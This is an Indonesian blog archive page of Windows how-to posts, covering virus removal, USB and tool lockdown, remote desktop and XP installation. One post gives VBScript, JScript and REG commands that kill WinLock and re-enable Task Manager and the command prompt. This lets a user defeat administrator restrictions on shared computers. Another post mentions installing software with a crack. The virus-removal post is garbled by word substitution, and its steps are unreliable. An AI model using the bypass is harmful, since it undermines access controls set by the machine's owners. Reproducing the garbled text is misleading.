Tampilkan postingan dengan label Tips dan triks. Tampilkan semua postingan
Tampilkan postingan dengan label Tips dan triks. Tampilkan semua postingan

Kamis, 21 Juni 2012

Membasmi virus, trojan dan spyware secara manual


Bagi netter yang komputernya suka terkena virus, mungkin panduan berikut di bawah ini bisa berguna. Secara teori cara ini bisa membunuh 90% yang beredar, hanya pathogen macro (word, excel) dan pathogen yang merusak record (extension EXE) yang susah dibersihkan dengan cara ini, walau bisa dicegah penularannya.
Membasmi Virus Dengan Command Windows

Bila netter merasakan komputer terkena virus, trojan dan spyware (dalam hal ini kita kategorikan semuanya sebagai pathogen aja), yang biasanya dengan indikasi ada tampilan yang tidak biasanya pada desktop, module yang digunakan dan browser. Sebaiknya langsung menempuh langkah berikut ini:

task manager explorer Membasmi Virus, Trojan dan Spyware Secara Manual

1. Tahap Pertama, Matikan Virus di Memori
Tekan Ctrl + Alt + Del untuk menampilan Windows Task Manager – Lalu ke bagian “Processes”, terus klik bagian “User Name” untuk mengurutkan record yang diproses pada memori. Setelah itu, lihat ada bagian yang mencurigakan atau tidak. Bila banyak yang di-loading pada memori, sebaiknya dimatikan dahulu startup yang otomatis ter-loading pada bagian bawah kanan (ikon orator dan jam). Matikan semua ikon-ikon tersebut dengan cara “quit” atau “exit” dari programnya.

2. Tahap Kedua, Non-aktifkan Virus di Startup
Loading pathogen ke memori biasanya berupa EXE file. Langkah ini untuk mencegah pathogen untuk menyebar terlebih dahulu lewat memori kita. Matikan semua record EXE yang loading di memori kita yang sudah kita urutkan sebelumnya berdasarkan “User Name”. Jangan mematikan record yang kategori “System”, “Local Service”, dan “Network Service”, karena bisa membuat sistem kita Hang atau Freeze.
Untuk menon-aktifkan pathogen supaya tidak terloading ke memori, kita harus membuangnya di startup. Caranya kita bisa menggunakan perintah MSCONFIG, klik menu Start>Run>msconfig – setelah itu akan tampil “System Configuration Utility”. Lalu pilihlah “Startup”, dalam kasus ini sebaiknya netter yang tidak mengerti mana yang loading pathogen mana yang bukan, sebaiknya pilih “Disable All”. Nantinya netter baru aktifkan kembali startup yang diinginkan kalau pathogen sudah bersih.
Bila netter yang mengerti record yang loading mana record yang diperlukan, dan mana yang tidak, atau mana yang pathogen atau bukan, sebaiknya menbuang conteng (check box) pada kotak bagian kiri untuk yang dicurigai sebagai virus. Cara ini akan menonaktifkan pathogen di startup kita.
3. Tahap Ketiga, Hapus File Virus dari Komputer
Carilah dengan menggunakan fasilitas “search” pada WIndows, klik menu Start>Search, lalu carilah record EXE pathogen (contoh: Happy.exe) yang sebelumnya loading di memori atau startup. File ini biasanya disimpan oleh pembuatnya di bagian printed matter Windows atau System32 dari WIndows. Setelah ditemukan, undo atau hapus record tersebut.
4. Tahap Keempat, Hapus Virus dari System Registry
Tahap ini adalah tahap terakhir. Kita harus menggunakan perintah REGEDIT untuk mengubah dan men-delete pathogen dari registry kita. Pilihlah Start>Run>regedit – lalu ke menu “Edit” pilihlah “Find” (atau tekan Ctrl+F). Masukkan nama record pathogen yang ingin kita hapus (contoh: Happy.exe), lalu pilih “Find Next”. Apabila ditemukan record virus, hapuslah semua registry yang memuat pathogen tersebut (berikut dengan foldernya kalau ada).
Kemudian lanjutkan dengan menekan tombol “F3″ atau di menu pilih “Edit” terus “Find Next”. Biasanya record pathogen diletakkan pada beberapa tempat di registry. Jadi pastikan netter menghapus semuanya sampai bersih, dalam arti registry komputer bebas dari loading pathogen tersebut. Karena kalau tidak pekerjaan ini akan sia-sia.

Beberapa cara untuk disable USB pada Windows


Pada kesempatan ini saya mau memberikan sedikit pengalaman yang saya dapatkan ketika saya di bingungkan oleh project yang menginginkan agar PC yang ada tidak dapat di akses oleh USB Flash disk.
Ada beberapa cara yang saya gunakan, baik menggunakan software maupun tanpa software.
Berikut ini cara-cara yang saya gunakan untuk mendisable USB pada PC dengan OS Windows:
1. Menggubah setingan REGEDIT

  • Masuk ke dalam regedit dengan cara menekan shortkey (Windows + R) untuk masuk ke Run kemudian Ketik : “REGEDIT
  • Pilih “HKEY LOCAL MACHINE – SYSTEM – CurrentControlSet – Services – USBSTOR
  • Ubah Start value dari “3” menjadi “4
  • Matikan semua permission baik itu system maupun admin. (klik kanan di folder HKLM – system – currentcontrolset – services – USBstor –   permission)
  • Remove semua permissionnya.

2. Menggunakan Sofware “USB Block“ http://www.newsoftwares.net/usb-block/

Langkah -langkah menggunakan USB Block adalah sebagai berikut :
  • Install dulu USB Blocknya… Software bisa di donlot dari 
  • Setting password seperti berikut :
  • Setelah login silahkan atur sesuka hati kita, apa yang akan kita proteksi / block
3. Menggunakan Software “WinLockPro“ http://www.crystaloffice.com/winlockpro/
Kelebihan dari winlock adalah, kita akan lebih mudah dalam mensetting apa yang akan kita proteksi, silahkan mencoba sendiri… di jamin buat kita gampang proteksi PC.. haha
Langkah-langkahnya seperti berikut :
  • Tetep Install dulu softwarenya
  • Setelah install dan copy crack jangan lupa enable dulu winlocknya. Klik kanan pada logo gembok warna abu-abu yang ada di taksbar sehingga gemboknya berubah menjadi warna merah
  • Masuk ke  aplikasi Winlock (bisa menggunakan short-key F11)
  • Setting password yang kita kehendaki
  • Masuk ke menu Security – Drives pada winlock
  • Check pada pilihan yang ada pada lingkaran merah
Terakhir… kalo emang masi ga bisa n masih tembus juga tuch USB, silahkan cepet-cepet pergi ke warung terdekat/toko besi untuk beli pembalut biat ga tembus atau beli gembok buat gembok tu port USB… kalo ga mau susah.. copot aja kabel USB dari dalem PC… wkwkwk…
Semoga bermanfaat dan selamat mencoba…

Cara membuka winlock



Okey, Pasti semua udah tau winlock itu apa kan ? Kalo belum tau search aja di google yah, hihihihi. Ya intinya sih winlock itu digunakan buat mengurangi akses kita terhadap komputer tersebut. Misalkan, gak bisa download atau gak bisa buka Drive di komputer tersebut. Disini saya cuma mau sharing aja pengalaman saya menjadikan diri sebagai admin winlock tersebut.



OK. Yang dibutuhin cuma:
  1. Notepad / Wordpad.
Pikirkan gimana caranya buat buka notepad tersebut. Banyak caranya. Dari sound device pun bisa buka notepad. Dan langganan saya buat buka notepad/wordpad sih pake Lagu Gratisan dari windows itu loh, yang di sample music.
Ya tinggal save as >> pilih desktop >> terus save dengan ekstensi .txt / .doc deh.. Ok langsung aj ya, udah dibuka notepad/wordpad? Usahakan cek dulu ada deepfreeze atau kagak. Kalo ada deepfreeze kan bisa ngilangin jejak deh dengan restart komputer. Dan kalo gak ada deepfreeze musti ikutin cara kedua ntar.
Copy script ini:
strComputer = “.”
Set objWMIService = GetObject(”winmgmts:” _
& “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2″)
Set colProcessList = objWMIService.ExecQuery _
(”Select * from Win32_Process Where Name = ‘winlock.exe’”)
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Const HKEY_CLASSES_ROOT = &H80000000
strComputer = “.”
Set objRegistry=GetObject(”winmgmts:\\” & _
strComputer & “\root\default:StdRegProv”)
strKeyPath = “CLSID\{D1A17367-4546-PRT8-6A19-11OO4FFI823O}\ProgID”

strValueName = “ID”
objRegistry.DeleteValue HKEY_CLASSES_ROOT, strKeyPath, strValueName
Dan save pake ekstensi .vbs (VBScript) dan klik 2x aja buat menjalankannya. Sebenarnya itu 2 script yang dijadikan 1 karena kesamaan ekstensi.
Keterangan:
  • Script 1 : Buat kill winlock.exe, karena biasanya task manager di disable kan ?
  • Script 2 : Buat delete key “ID” Winlock di regedit yang berada di CLSID\{D1A17367-4546-PRT8-6A19-11OO4FFI823O}\ProgID
Sekarang step 2. (AKTIFKAN TASK MANAGER)
Kenapa pake aktifkan TASKMGR? Karena disini kita bakal aktifin cmd (Command Prompt). Kalo taskmanager / startnya gak didisable, bisa langsung aja buka command prompt di accesories. Dan coba saja windows+R, kalau bisa, ya langsung aja copy script aktifkan command promptnya dibawah.
/// Program Ramping Mengamankan Task Manager
// Nama Program: tsk_mgr.js
function prakata(pesan)
{
natan.popup(pesan,0,”Menjaga Task Manager”);
}
function catat(harga)
{
natan.RegWrite(”HKCU\\Software\\microsoft\\Windows \\CurrentVersion”+
“\\Policies\\System\\DisableTaskMgr”,harga,”REG_DW ORD”);
}
var vbYesNoCancel = 3, vbYes = 6, vbNo = 7, harga, pesan, tanya, natan;
natan = WScript.CreateObject(”WScript.Shell”);
pesan = “Menu Pilihan :\n\n”+
“Klik [Yes] untuk Nonaktifkan Task Manager.\n”+
“Klik [No] untuk Aktifkan Task Manager.\n”+
“Klik [Cancel] untuk Keluar.\n\n”+
“[+] http:www.netrix.web.id [+]\n\n”+
“NonAktifkan Task Manager sekarang?”;
tanya = natan.popup(pesan,0,”Menjaga Task Manager”,vbYesNoCancel);
if (tanya == vbYes)
{
harga=1;
pesan=”Task Manager DiNonAktifkan! visit http:// blog-kertosono.blogspot.com ”;
catat(harga);
prakata(pesan);
}
else if (tanya == vbNo)
{
harga=0;
pesan=”Task Manager DiAktifkan! visit http://blog-kertosono.blogspot.com”;
catat(harga);
prakata(pesan);
}
else
{
pesan=”visit http:// blog-kertosono.blogspot.com ”;
prakata(pesan);
}
Save dengan ekstensi .js dan jalankan, lalu pilih NO buat mengaktifkan task manager. Lalu buka task manager (ctrl+alt+del) >> Pilih tab users >> Klik menu File >> Pilih Run >> Lalu copy paste script ini di situ.
REG add HKCU\Software\Policies\microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f
Ini fungsinya buat mengaktifkan command prompt. Lalu dengan cara yang sama, ketik cmd untuk membuka command prompt. Setelah masuk command prompt, Silahkan cari dimana folder winlock berada. Misalkan berada di folder C:\program files\winlockpro
  • Ketik C: lalu enter Ketik cd program files lalu enter
  • Ketik cd winlockpro lalu enter
  • Dan ketik winlock.exe lalu enter
TARRA… sekarang anda winlock baru pun sudah berjalan, dan silahkan shutdown/kill winlock.exe yang baru biar gak mengganggu. Sekarang Anda bebas mau ngapain aja. Mau Download/Colok USB/dll pokoknya bisa deh, kan udah jadi admin.
Perhatian: Ini hanyalah sebagai edukasi saja, saya tidak bertanggung jawab atas hal apapun yang terjadi.

Rabu, 06 Juni 2012

Cara Blok Regedit, task manager dan CMD


Regedit, Task manager atau command prompt( CMD) adalah komponen penting dan vital bagi sistem operasional windows. Dengan regedit kita bisa mempercepat atau bahkan membuat windows menjadi eror. dengan Task manager kita bisa menghentikan sebuah program atau aplikasi secara paksa bahkan aplikasi yang mengalami gagal runing atau not responding dapat kita tutup secara paksa dengan Taskmanager. CMD adalah jendela perintah yang atau baris perintah dalam operasional windows.



Jika orang yang tidak tau dan baru belajar tentang komputer biasanya meraka akan mencoba coba,hal ini akan berbahaya jika mereka dapat mengakses ketiga tool diatas. untuk mengamankannya anda harus memblok ketiga tool tersebut. caranya adalah sebagai berikut :

1. Buka Run kamu bisa mengakses run dengan cara Tekan windows + R
2. Ketikan "gpedit.msc" tanpa tanda petik dan tekan OK atau enter
3. Pada jendela group policy pilih user configurasi
4. Pilih Administratif templates > klik sytem dan lihat pada jendela sebelah kanan
5. Double klik pada CTRL+ALT+DEL >> double klik pada Remove Task manager dan pilih enable dan klik ok ini berguna untuk memblok Taskmanager




6. Doubel klik pada Prevent access to the Comman prompt pilih enable dan beri bok dengan keterangan yes kemudian klik OK ini berguna untuk medisable Command prompt atau biasa di sebut CMD




7. Doubel klik juga pada Prevent access to registry editing tools pilih enable dan klik OK ini di gunakan untuk Blok registry


Rabu, 28 Maret 2012

Nonaktifkan fungsi AutoPlay

Salah satu jalan virus masuk ke system computer adalah melalui fitur AutoPlay pada windows, untuk itu amannya di nonaktifkan saja fitur ini, karena mengingat banyak virus local yang sudah memanfaatkan fitur ini untuk menjalankan aksinya.

Untuk melakukannya ikuti langkah-langkah berikut :


1. Pilih menu Run…, kemudian pada kotak dialog ketikan gpedit.msc.

2. Maka akan muncul window Group Policy.



Gambar 1 : group policy

3. Masuk ke menu Computer Configuration > Administrative Templates > System.

4. Pada panel sebelah kanan cari Turn of Autoplay, kemudian klik ganda.

5. Maka akan muncul kotak dialog, pilih enable.




Gambar 2 : Dialog Turn off Autoplay Properties

6. Jika Anda hanya ingin menonaktifkan fungsi Autoplay untuk Cd/Dvd drive maka pada menu Turn of Autoplay on pilih CD-ROM drive, namun jika Anda mau menonaktifkan seluruh drive yang ada maka pada Turn of Autoplay on pilih All Drives.


7. Kemudian pilih ok

Semoga bermanfaat.

6 Tips Terbebas Dari Virus

Akhir-akhir ini USB saya sering gonta-ganti “pasangan”, karena tidak setia dengan “pasangannya” akhirnya USB saya terkena virus yang mematikan, dokumen-dokumen dalam format *.Doc, langsung berubah menjadi *.Exe, file-file MP3 menjadi file berekstensi *.Scr, folder yang dianggap folder ternyata adalah virus, pokoknya USB isinya semuanya adalah virus, karena kesal langsung saja saya bersihkan dengan program antivirus update terbaru, hilang semua sudah virusnya namun sayang file-file lama masih dalam keadaan hidden atau tersembunyi. Program antivirus tidak dapat mengembalikan file atau folder yang disembunyikan akibat virus, oleh karena itu saya pakai teknik mengembalikan folder akibat virus. Alhamdullilah sekarang USB saya telah sehat kembali.

Penggalan cerita di atas hampir dialami oleh semua orang yang berkutat dengan komputer dalam kesehariannya, jika dahulu media sasaran virus adalah CD, sekarang telah berganti ke media USB, alasannya karena media ini adalah yang paling banyak digunakan saat ini, mudah dibawa dan kapasistasnya sudah ada yang melebihi sekeping DVD.
Di bawah ini ada 6 tips agar terbebas dari virus :


1. Jangan Pakai Program Bajakan

“Aduh kalau yang ini sulis mas, tahu sendiri kan harga software asli berapa ? jika dihitung-hitung mahalan harga softwarenya daripada harga komputernya”. Hal ini tidak hanya dialami oleh sebagian orang di Indonesia tetapi hampir semua orang yang memiliki komputer, solusinya adalah cari program freeware pengganti program bajakan yang kita pakai, contoh mengganti Microsoft Office dengan Open Office.

Mengapa jangan pakai program bajakan ?, ketika kita membeli program atau download program bajakan, disana ada crack nya kan ? nah crack yang disediakan rata-rata mengandung trojan. Trojan ini memungkin orang lain untuk mengakses komputer kita dari jarak jauh, sangat berbahaya bukan.

2. Jangan buka file sembarangan

Perhatikan nama-nama file berikut : “foto artis.jpg”, “jangan dibuka”, “rahasia”, “soal UAS”, “kunci jawaban”, “kumpulan soal cpns”, dsb. Apa yang akan Anda lakukan ketika melihat nama-nama file diatas, membukanya ? jika Anda membukanya maka keinginan si pembuat virus telah terpenuhi.

Ya, salah satu cara penyebaran virus adalah dengan menyamarkan nama virus dengan nama-nama yang membuat orang ingin membukanya. Penting ! agar terbebas dari virus jangan membuka file-file yang tidak jelas keberadaan atau asal-usulnya. Jika Anda tidak merasa mengkopi file tersebut ke dalam USB maka langsung hapus saja karena bisa jadi itu adalah virus.

Mulai dari sekarang berhati-hatilah untuk membuka file-file yang tidak jelas.

3. Update Antivirus

“Komputer saya di install antivirus terbaru, tetapi kok masih kena virus ?”, program antivirus boleh baru tetapi jika tidak pernah di update sama juga bohong, perlu diingat, antivirus tercipta setelah ditemukannya virus, antivirus akan mendeteksi virus jika virus tersebut terdapat di dalam database antivirus, jika komputer Anda diserang virus varian terbaru dan Anda tidak pernah mengupdatenya, dapat dipastikan antivirus tidak akan dapat mendeteksi virus tersebut.

Mulai dari sekarang, selain memakai antivirus terbaru, perbaharui terus antivirus dengan update terkini.

4. Nonaktifkan Fungsi Autorun

Salah satu cara infeksi virus ke komputer adalah melalui fitur autorun pada windows, hal ini ditandai dengan adanya file autorun.inf. Untuk menonaktifkan autorun, ketika mau memasukan USB atau CD ke komputer, tekan dan tahan [SHIFT] kemudian masukkan USB/CD ke komputer, jika sudah terbaca oleh komputer baru lepas [SHIFT]-nya.

5. Gunakan Fitur USB Lock

USB lock adalah fitur yang dapat membuat USB dalam keadaan read only atau hanya dalam mode baca, fitur ini biasanya terdapat pada USB Mp3, coba perhatikan USB Anda apakah ada fitur tersebut, jika ada  aktifkan terlebih dahulu sebelum menyolokan ke komputer. Jika komputer yang kita pakai sudah mengandung virus dan menginfeksi USB yang di colokan maka tidak akan berhasil, karena USB tidak memberikan autoritas untuk menuliskan virus.

Jika mau membeli USB baru, disarankan untuk membeli yang terdapat fitur USB lock, sehingga USB Anda akan terhindar dari virus.

6. Gunakan Linux

Hampir semua virus yang diciptakan sekarang untuk menginfeksi sistem operasi Windows, jadi jika Anda memakai sistem operasi Linux, maka dapat dipastikan Anda akan terbebas dari virus.

“Tampilannya kok beda dengan Windows ?, kok dipakainya susah sih ?”, pertanyaan-pertanyan tersebut selalu muncul ketika mau bermigrasi ke Linux, jawabannya sederhana, sebenarnya Linux sama dengan Windows, namun karena belum terbiasa saja dengan tampilan dan menu-menu yang ada sehingga terlihat sulit, jika setiap hari dicoba memaksakan diri memakai Linux insyaallah akan terbiasa.

Linux adalah sebuah sistem operasi yang saat ini masih imun dengan virus Windows, jika Anda sudah bosan terkena virus tidak salah jika mengganti sistem operasi dengan Linux.

Semoga 5 tips di atas bermanfaat, jika pembaca punya tips yang lainnya monggo silahkan ditambahkan di kotak komentar.

Salam.

Mengembalikan folder yang tersembunyi akibat virus

Virus memang menyebalkan, terutama virus lokal yang kerjaaanya melakukan duplikasi folder dan menyembunyikan folder yang asli, antivirus seperti norton, avg dan mcaffe memang dapat menghilangkan virus yang bercokol di komputer, namun sayang, pembersihannya tidak tuntutas, folder-folder yang tersembunyi akibat virus tidak dikembalikan ke sedia kala.

Dibawah ini ada tips untuk mengembalikan folder yang tersembunyi :

Masuk ke command prompt dengan cara pilih run > ketik cmd

Semisal folder yang hilang ada di usb (drive f:), untuk berpindah ke folder usb ketikkan f:
Untuk mengembalikan folder yang tersembunyi ketik attrib -r -s -h /d /s, tunggu prosesnya sampai selesai



Sekarang folder yang hilang sudah kembali

Note : arti dari attrib -r -s -h /d /s adalah

-attrib : menampilkan atau untuk mengubah atribut file

- -r -s -h : mengembalikan file yang beratribut readonly, system dan hidden ke keadaan biasa

- /d /s : memproses folder dan subfoldernya

Selamat mencoba

Semoga bermanfaat.

Kamis, 13 Oktober 2011

Tips Sederhana Menguji Kualitas Keyboard

Pernahkah anda merasa ragu dalam memilih ataupun membeli keyboard yang beredar di pasaran? terlebih lagi jika anda bingung karena banyaknya merk keyboard yang berada di pasaran? Jika jawabannya adalah “YA” maka berikut adalah sedikit tips bagaimana cara mengetahui kualitas suatu keyboard.
Tips Sederhana Menguji Kualitas Keyboard Image
Disini saya akan memberikan beberapa cara untuk mengetes apakah keyboard anda benar-benar handal atau tidak. Cara ini mungkin terbilang kuno, namun sampai ini cara ini masih sangat efektif untuk mengecek kualitas keyboard. Berikut penjelasannya.
  • Pertama, buka notepad anda. Klik start, pilih accessories, lalu pilih aplikasi Notepad.
  • Setelah itu, tekan dan tahan tombol shift kiri dan shift kanan.
  • Lalu ketikkan kalimat “The Quick Brown Fox Jumps Over The Lazy Dog”. (Ingat tombol shift kiri dan shift kanan jangan di lepas).
  • Lihat di layar notebook / PC anda, apakah tulisan yang keluar lengkap sesuai dengan kata-kata tersebut, ataukah ada huruf yang hilang.
  • Semakin banyak huruf yang tidak keluar, maka semakin berkurang kualitas dari keyboard anda.
Terkadang banyak orang yang bertanya, mengapa harus menulis kalimat “The Quick Brown Fox Jumps Over The Lazy Dog”, bukan kalimat yang lain?
Tips Sederhana Menguji Kualitas Keyboard Image
Jawabanya cukup sederhana. Kumpulan kata-kata itu adalah sebuah kalimat yang berisi semua huruf dalam alfabet yang biasa digunakan untuk menguji mesin ketik dan keyboard pada komputer dan tentunya merupakan kalimat yang memiliki makna dalam bahasa inggris.
Jika Anda berhasil menulis atau mendekati kata “The Quick Brown Fox Jumps Over The Lazy Dog”, maka keyboard anda bisa dikatakan masuk dalam kategori bagus atau memenuhi standar pengujian keyboard.
Cukup mudah bukan? Selamat mencoba!

Kamis, 11 Agustus 2011

Mengendalikan Komputer Lain dengan Remote Desktop

Dengan Remote desktop kita bisa melihat tampilan layar komputer  lain (yang diremote) sama seperti di komputer aslinya, dan kita dapat melakukan  perintah sesuai dengan yang kita inginkan.
Misal komputer A dan komputer B. Kita ingin agar komputer A bisa dilakukan remote desktop oleh user dari komputer B. ( komputer A dikendalikan oleh user di  komputer B).

Cara settingnya sebagai berikut :
Karena tujuannya untuk meremote komputer A, jadi Kita hanya perlu setting di komputer A.
1 •  Tentukan nama user ( harus berpassword), kalau belum silakan create/edit dulu ( control panel --> user account), yang akan digunakan untuk remote desktop user

2 •  klik kanan pada my computer --> Properties - pilih tab Remote



3 •  Beri contreng pada Allow user to connect remotely to this computer
4 •  Klik Select Remote User --> klik add --> ketik nama user( sesuai step-1) --> klik check name--> klik OK--> OK

 




Di komputer yang akan dipakai untuk meremote (Komputer B, C, dst) kita tinggal menjalankan Aplikasi Remote Desktop Connection ( Start --> All Programs --> Accessories --> Communications --> Remote Desktop Connection)

 

 •  Masukkan Alamat IP komputer atau nama komputer yang akan diremote --> klik Conect (tunggu beberapa saat)

 •  Masukkan user name ( remote user )dan password ( username sesuai step-4 ).

Kini kita sudah bisa melihat, mengendalikan/ mengontrol komputer A dari komputer B.



 

Semoga bermanfaat . 
Sumber : http://komputertipstrik.blogspot.com

Mematikan Komputer Terjadwal

Jika anda ingin mematikan komputer windows anda pada waktu dan jam yang anda tentukan,  tanpa klik menu shutdown dan tanpa harus menungguinya, hal ini bisa dilakukan tanpa menggunakan software tambahan.
Klik Start, Klik RUN
Ketik (contoh)  at 10:30 shutdown  -s  lalu klik  OK ( ganti jam sesuai dengan waktu yang anda inginkan )





Maka komputer akan mati pada jam 10:30

Untuk membatalkan, masuk lagi ke RUN command dan ketik  shutdown -a   kemudian klik OK.
Semoga bermanfaat.
Sumber : http://komputertipstrik.blogspot.com/

Cara Proteksi Dokumen Ms Office 2007 Dengan Password

Untuk memproteksi Dokumen Microsoft Office 2007 dengan menggunakan password, baik itu Ms Word, Ms Excel atau Ms Power Point, dapat dilakukan melalui menu Save As. Ada dua pilihan proteksi yaitu password untuk membuka file, dan satu lagi password untuk memodifikasi file. Kita bisa memilih salah satu atau kedua - duanya.

Buka Dokumen Ms office yang akan diproteksi
Klik pada Logo Office

Klik Save As



• Klik Tools
• Klik General Options


• Masukkan Password yang kita inginkan, kemudian Klik OK


Masukkan kembali Password untuk Verifikasi, kemudian klik OK
• Simpan file seperti biasanya (pilih lokasi, tulis nama file, dan klik Save).


Tutup file kemudian coba buka kembali. Dokumen sudah memakai password sekarang.

Minggu, 24 Juli 2011

Memblokir aplikasi tertentu

Ada beberapa aplikasi yang berpotensi membahayakan sistem. Untuk urusan yang seperti ini biasanya kita menyerahkan nasib pada program antivirus, firewall, dan sejenisnya.
Repotnya, tidak semua aplikasi berbahaya bisa di tangkap oleh program-program semacam itu. Akan lebih baik kalau kita bisa memblokir sendiri aplikasi-aplikasi yang berbahaya tersebut. Caranya begini…
1. Jalankan registry editor dengan cara tekan tombol Windows + R >> lalu ketikan regedit.
2. Pada jendela registry editor masuklah ke HKEY_CURRENT_USERMicrosoftWindowsCurrentVersionPoliciesExplorer.
3. Buat DWORD value baru dengan mengklik mouse kanan lalu New >> DWORD Value >> dan beri nama DisallowRun.
4. Klik dua kali data tersebut lalu isi value dengan nilai 1.
5. Setelah itu, buat sebuah subskey baru dengan nama DisallowRun sehingga terbentuk key HKEY_CURRENT_USERMicrosoftWindowsCurrentVersionPoliciesExplorerDisallowRun.
6. Pada key DisallowRun tersebut, Anda dapat mendefinisikan nama file yang ingin Anda blok. Caranya, buat string value baru dengan mengklik mouse kanan lalu klik New >> String Value. Beri nama string value tersebut dengan angka 1. Untuk memblok aplikasi-aplikasi lain Anda dapat membuat string value dengan angka lain secara berurutan, misalnya angkan 2,3,4… dan seterusnya. Kemudian pada value datanya beri nama file yang ingin Anda blok, misalnya “aplikasi.exe”.
7. Setelah melakukan langkah-langkah tadi restart komputer Anda dan lihat perbedaanya…

Cara menyembunyikan hardisk

Salah satu hal yang paling menyebalkan adalah jika ada orang lain dengan semaunya melihat atau mengambil data-data di komputer yang sudah dengan susah payah kita kumpulkan. Entah itu foto-foto hasil liputan, MP3 dan lain-lain. Nah, supaya mereka tidak bisa melakukan seenaknya, kita dapat menyembunyikan hardisk untuk sementara agar tidak bisa dibuka.
Ada beberapa cara yang bisa kita pakai, tapi yang lebih sering dipakai adalah cara ini :
1. Buka Start Menu –> Run –> ketik diskpart lalu tekan Enter.
2. Jendela DOS akan terbuka, ketik list volume lalu tekan Enter.
3. Untuk menyembunyikan Drive E misalnya, pilihlah volumenya, ketik select volume 3 lalu tekan Enter.
4. Ketik remove letter E lalu tekan Enter (untuk menyembunyikan Drive E, misalnya).
5. Untuk mengeluarkan kembali Drive E, pilih dulu volumenya (mis, select volume 3) lalu ketik assign letter E lalu tekan Enter.
6. Ulangi cara di atas jika ingin menyembunyikan drive C, F, dan lain-lain. Cara ini memungkinkan kita menyembunyikan beberapa drive sekaligus dalam satu waktu.
Catatan:
Setelah melakukan hal ini, kadang-kadang komputer perlu di restart. Jangan khawatir soal data, karena data yang berada dalam harddisk yang disembunyikan tetap sama dan tidak akan hilang. Terakhir, sebaiknya Drive C (tempat sistem operasi Windows berada) tidak disembunyikan.

Cara Install Windows XP

Beberapa dari teman saya yang menggunakan sistem operasi Windows XP belum tentu tahu cara install Windows XP. Mungkin bagi sebagian orang mengaggap hal ini sangatlah mudah, namun bagi para yang masih baru hal ini bisa menjadi sangat sulit karena mereka tidak tahu secara mendalam tentang sistem operasi. Dalam artikel ini saya akan membahas tentang cara menginstall Windows XP dengan mudah karena pada poting kali ini saya juga menyertakan tutorial gambar cara install Windows XP.
Windows XP adalah suatu sistem operasi (operating system) yang paling populer sampai saat ini karena selain kemudahan dalam pemakaiannya Windows XP juga banyak digunakan sebagai standarisasi pembelajaran yang di pakai oleh sekolahan-sekolah dan perguruan tinggi pada umumnya.
Untuk melakukan penginstalan windows xp diperlukan ketelitian dan kesabaran dalam prosesnya karena memerlukan waktu yang lumayan lama sekitar 45 menit.
Ada beberapa jenis windows xp diantaranya windows xp professional, Home Edition, Media Center Edition, Tablet PC Edition, Starter Edition, Professional x64 Edition, dan Professional 64-bit Edition For Itanium.
Spesifikasi minimum hardware yang dibutuhkan untuk menjalankan Windows XP adalah sebagai berikut:
  • Prosesor Pentium 500 Ghz/AMD atau yang setara.
  • CDROM/DVDROM drive
  • RAM 64 MB
Berikut adalah langkah-langkah untuk install atau instal ulang windows xp:
1. Siapkan CD Windows XP Anda dan masukan CD installer Windows XP Anda kedalam Cd Rom atau DVD Rom Anda.
2. Restar komputer dan setting bios agar prioritas bootingnya dimulai dari CD(DVD)-ROM. Begini caranya:
Pertama, masuk ke BIOS dengan menekan tombol Del, atau F1, atau juga F2 (Tergantung motherboard). Pilih menu Advanced Settings, kemudian carilah ‘Boot Priority’ atau yang sejenis. Ubah pengaturanya, agar CDROM jadi urutan yang pertama dengan menekan tombol Page Up atau Page Down, lalu tekan tombol ESC dan pilih Save & Exit.
3. Restart komputer Anda dan tunggu hingga muncul tulisan seperti pada gambar.

4. Tekan sembarang tombol dengan cepat sampai muncul tampilan seperti dibawah ini:


5. Tunggu sampai proses loading selesai, kemudian tekan Enter.
6. Tekan tombol f8 untuk melanjutkan dan tekan tomblog ESC untuk membatalkan install Windows XP.

7. Tekan ENTER untuk langsung menginstall Windows XP dan tekan C untuk membuat partisi hardisk dengan kapasitas sesuai kebutuhan Anda, selanjutnya jika Anda membuat partisi dengan menekan tombol “C”, maka akan muncul gambar seperti di bawah ini.

8. Kemudian tuliskan kapasitas partisi yang ingin anda buat, seperti terlihat pada gambar diatas, sebagai contoh, misalkan kapasitas hardisk anda 40 GB, lalu anda ingin membagi dua, maka tuliskan 20000,jangan 20, karna partisi satuannya MB. 1GB = 1024MB.
9. Kemudian tekan”ENTER maka akan muncul gambar seperti dibawah ini.

10. Kemudian pilih Format the partition using the NTFS file system (Quick) atau Format the partition using the NTFS file system (Quick) lalu tekan ENTER maka akan muncul layar sepert gambar di bawah ini.

11. Setelah proses format selesai, kemudian Windows akan memulai menyalin file untuk proses instalasi, seperti gambar di bawah ini.

12. Bila proses instalasi langkah 1 → 11 benar maka komputer akan restart secara otomatis dan akan tampil gambar seperti ini.

13. Biarkan proses instalasi Windows XP berjalan, dan jika ada konfirmasi klik Next lalu isikan Nama Anda (Pada kolom Organisasi bisa dikosongkan). Kemudian tekan Next. Disini Anda akan diminta untuk memasukan Product Key Windows XP Anda.

14. Isikan nama komputer Anda, selebihnya dapat dikosongkan dan klik Next. Pada tab Time Zone pilih pada posisi GMT +7. Klik Next.

15. Tunggu beberapa saat dan akan muncul jendela baru yang menanyakan jaringan Anda (Jika komputer Anda tersedia fasilitas LAN). Pilih Typical setting dan Klik Next. Selanjutnya akan muncul layar work group or computer Domain, seperti gambar di bawah ini klik Next.

16. Setelah proses install Windows XP selesai maka komputer akan terestart secara otomatis Selanjutnya akan muncul display setting, seperti gambar di bawah ini, klik OK.
17. Kemudian Windows akan mendeteksi tampilan optimal dari komputer Anda, Klik OK.
18. Selanjutnya anda akan dibawa masuk ke dalam windows untuk pertama kalinya, tekan Next dan pilih Not Right Now. Kemudian komputer akan mengecek koneksi ke internet, seperti terlihat pada gambar di bawah ini, pilih Yes lalu tekan Next. Selanjutnya akan muncul pilihan aktivasi windows, lalu tekan Next.
19. Proses instalasi Windows XP telah selesai, kemudian akan muncul layar seperti gambar di bawah ini, klik Finish, maka proses instalasi selesai.
20. Jika proses instalasi berhasil, kemudian perlahan masuk ke Windowsnya seperti telihat pada gambar di bawah ini.
Alhamdulilah… Akhirnya selesai juga.. Capek juga nulisnya.. Alhamdulilah… Semoga bermanfaat.

Menghemat baterai laptop pada Windows 7

